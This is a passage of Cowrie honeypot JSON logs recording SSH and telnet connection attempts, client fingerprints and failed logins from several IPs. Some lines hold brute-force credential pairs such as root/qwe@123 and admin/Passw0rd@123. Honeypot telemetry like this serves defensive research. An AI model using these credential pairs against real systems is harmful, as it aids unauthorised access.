sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.557257Z","src_ip":"192.109.200.78","session":"1ee1c222f56c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:05.854103Z","src_ip":"192.109.200.78","session":"1ee1c222f56c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":46372,"dst_ip":"159.203.135.109","dst_port":23,"session":"d03ff4e84544","protocol":"telnet","message":"New connection: 34.125.158.14:46372 (159.203.135.109:23) [session: d03ff4e84544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:06.332361Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:06.939052Z","src_ip":"192.109.200.78","session":"1ee1c222f56c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":47442,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf7b1bbc200e","protocol":"telnet","message":"New connection: 34.125.158.14:47442 (159.203.135.109:23) [session: bf7b1bbc200e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:07.437452Z"}
{"eventid":"cowrie.session.closed","duration":31.452795028686523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:07.774889Z","src_ip":"34.125.158.14","session":"1c7dec32fa2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8023681640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:08.200326Z","src_ip":"34.125.158.14","session":"3fba338ba100","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":48026,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0fa6ac1110","protocol":"telnet","message":"New connection: 34.125.158.14:48026 (159.203.135.109:23) [session: df0fa6ac1110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:08.345220Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":48484,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f777c70a74c","protocol":"telnet","message":"New connection: 34.125.158.14:48484 (159.203.135.109:23) [session: 0f777c70a74c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:08.733179Z"}
{"eventid":"cowrie.session.closed","duration":31.41262173652649,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:08.804386Z","src_ip":"34.125.158.14","session":"012b4d180fbf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":44160,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fb2e0a10340","protocol":"telnet","message":"New connection: 128.136.227.204:44160 (159.203.135.109:23) [session: 0fb2e0a10340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:09.332757Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54398,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc2923b3ae4","protocol":"ssh","message":"New connection: 192.109.200.78:54398 (10.17.0.5:22) [session: dbc2923b3ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:09.537606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:09.542503Z","src_ip":"192.109.200.78","session":"dbc2923b3ae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:09.627522Z","src_ip":"192.109.200.78","session":"dbc2923b3ae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:09.892020Z","src_ip":"192.109.200.78","session":"dbc2923b3ae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.82945704460144,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:10.573323Z","src_ip":"115.65.166.151","session":"0564da9b411b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:10.978380Z","src_ip":"192.109.200.78","session":"dbc2923b3ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":53956,"dst_ip":"159.203.135.109","dst_port":23,"session":"4de5bc6add92","protocol":"telnet","message":"New connection: 137.184.59.230:53956 (159.203.135.109:23) [session: 4de5bc6add92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.058137Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":50700,"dst_ip":"159.203.135.109","dst_port":23,"session":"895d69915936","protocol":"telnet","message":"New connection: 34.125.158.14:50700 (159.203.135.109:23) [session: 895d69915936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.330643Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54036,"dst_ip":"159.203.135.109","dst_port":22,"session":"85fcf8bd59fb","protocol":"ssh","message":"New connection: 159.203.92.129:54036 (159.203.135.109:22) [session: 85fcf8bd59fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.973490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.978875Z","src_ip":"159.203.92.129","session":"85fcf8bd59fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.984033Z","src_ip":"159.203.92.129","session":"85fcf8bd59fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd@123","message":"login attempt [admin/Passw0rd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:11.996301Z","src_ip":"159.203.92.129","session":"85fcf8bd59fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":51458,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff961f17d482","protocol":"telnet","message":"New connection: 34.125.158.14:51458 (159.203.135.109:23) [session: ff961f17d482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:12.415880Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":51684,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2a9df0b98b","protocol":"telnet","message":"New connection: 34.125.158.14:51684 (159.203.135.109:23) [session: 8f2a9df0b98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:12.456906Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.003358Z","src_ip":"159.203.92.129","session":"85fcf8bd59fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.736167669296265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.126601Z","src_ip":"34.125.158.14","session":"b5cbc1493a3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9801926612854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.194177Z","src_ip":"34.125.158.14","session":"d5ac1ea1385a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":51330,"dst_ip":"159.203.135.109","dst_port":23,"session":"98cae3181fea","protocol":"telnet","message":"New connection: 34.125.158.14:51330 (159.203.135.109:23) [session: 98cae3181fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.318804Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":34988,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87ec4500f43","protocol":"telnet","message":"New connection: 66.113.160.81:34988 (159.203.135.109:23) [session: e87ec4500f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.342630Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54406,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d3b7528f29b","protocol":"ssh","message":"New connection: 192.109.200.78:54406 (10.17.0.5:22) [session: 7d3b7528f29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.813973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.819197Z","src_ip":"192.109.200.78","session":"7d3b7528f29b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:13.909441Z","src_ip":"192.109.200.78","session":"7d3b7528f29b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.157534Z","src_ip":"192.109.200.78","session":"7d3b7528f29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53122,"dst_ip":"159.203.135.109","dst_port":23,"session":"922cfe4807e0","protocol":"telnet","message":"New connection: 34.125.158.14:53122 (159.203.135.109:23) [session: 922cfe4807e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.226823Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53124,"dst_ip":"159.203.135.109","dst_port":23,"session":"108d6e501ca9","protocol":"telnet","message":"New connection: 34.125.158.14:53124 (159.203.135.109:23) [session: 108d6e501ca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.234396Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a3c5ae38a91","protocol":"telnet","message":"New connection: 34.125.158.14:53164 (159.203.135.109:23) [session: 4a3c5ae38a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.292181Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53184,"dst_ip":"159.203.135.109","dst_port":23,"session":"63631ba42927","protocol":"telnet","message":"New connection: 34.125.158.14:53184 (159.203.135.109:23) [session: 63631ba42927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.313736Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"61c2f461110b","protocol":"telnet","message":"New connection: 34.125.158.14:53306 (159.203.135.109:23) [session: 61c2f461110b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.377311Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":53354,"dst_ip":"159.203.135.109","dst_port":23,"session":"84cf6a23ee55","protocol":"telnet","message":"New connection: 34.125.158.14:53354 (159.203.135.109:23) [session: 84cf6a23ee55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:14.396209Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:15.241876Z","src_ip":"192.109.200.78","session":"7d3b7528f29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":54106,"dst_ip":"159.203.135.109","dst_port":23,"session":"943ef818c466","protocol":"telnet","message":"New connection: 34.125.158.14:54106 (159.203.135.109:23) [session: 943ef818c466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:15.307925Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":54116,"dst_ip":"159.203.135.109","dst_port":23,"session":"89a539f417fa","protocol":"telnet","message":"New connection: 34.125.158.14:54116 (159.203.135.109:23) [session: 89a539f417fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:15.318269Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":54176,"dst_ip":"159.203.135.109","dst_port":23,"session":"058038ba0ef9","protocol":"telnet","message":"New connection: 34.125.158.14:54176 (159.203.135.109:23) [session: 058038ba0ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:15.386098Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":54276,"dst_ip":"159.203.135.109","dst_port":23,"session":"37131923d227","protocol":"telnet","message":"New connection: 34.125.158.14:54276 (159.203.135.109:23) [session: 37131923d227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:15.397812Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":54472,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fbcc99fc62","protocol":"telnet","message":"New connection: 137.184.59.230:54472 (159.203.135.109:23) [session: 95fbcc99fc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:16.037708Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":55266,"dst_ip":"159.203.135.109","dst_port":23,"session":"19a936122499","protocol":"telnet","message":"New connection: 34.125.158.14:55266 (159.203.135.109:23) [session: 19a936122499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:17.196334Z"}
{"eventid":"cowrie.session.closed","duration":30.94380283355713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:17.323704Z","src_ip":"34.125.158.14","session":"44b9a6abe51f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":37720,"dst_ip":"159.203.135.109","dst_port":23,"session":"8739fe40ec8f","protocol":"telnet","message":"New connection: 66.113.160.81:37720 (159.203.135.109:23) [session: 8739fe40ec8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:17.856004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54414,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b0d6d2e4ef9","protocol":"ssh","message":"New connection: 192.109.200.78:54414 (10.17.0.5:22) [session: 1b0d6d2e4ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:17.941358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:17.946295Z","src_ip":"192.109.200.78","session":"1b0d6d2e4ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:18.029733Z","src_ip":"192.109.200.78","session":"1b0d6d2e4ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":56724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2694e9458e73","protocol":"telnet","message":"New connection: 34.125.158.14:56724 (159.203.135.109:23) [session: 2694e9458e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:18.192445Z"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:18.283842Z","src_ip":"192.109.200.78","session":"1b0d6d2e4ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":56796,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a0502ccf4fa","protocol":"telnet","message":"New connection: 34.125.158.14:56796 (159.203.135.109:23) [session: 7a0502ccf4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:18.293911Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbdb6bdd84ec","protocol":"telnet","message":"New connection: 34.125.158.14:56912 (159.203.135.109:23) [session: fbdb6bdd84ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:18.341291Z"}
{"eventid":"cowrie.session.closed","duration":30.967021703720093,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:19.220616Z","src_ip":"34.125.158.14","session":"855c7458ab15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":56754,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c7319ae57f","protocol":"telnet","message":"New connection: 34.125.158.14:56754 (159.203.135.109:23) [session: f1c7319ae57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:19.255112Z"}
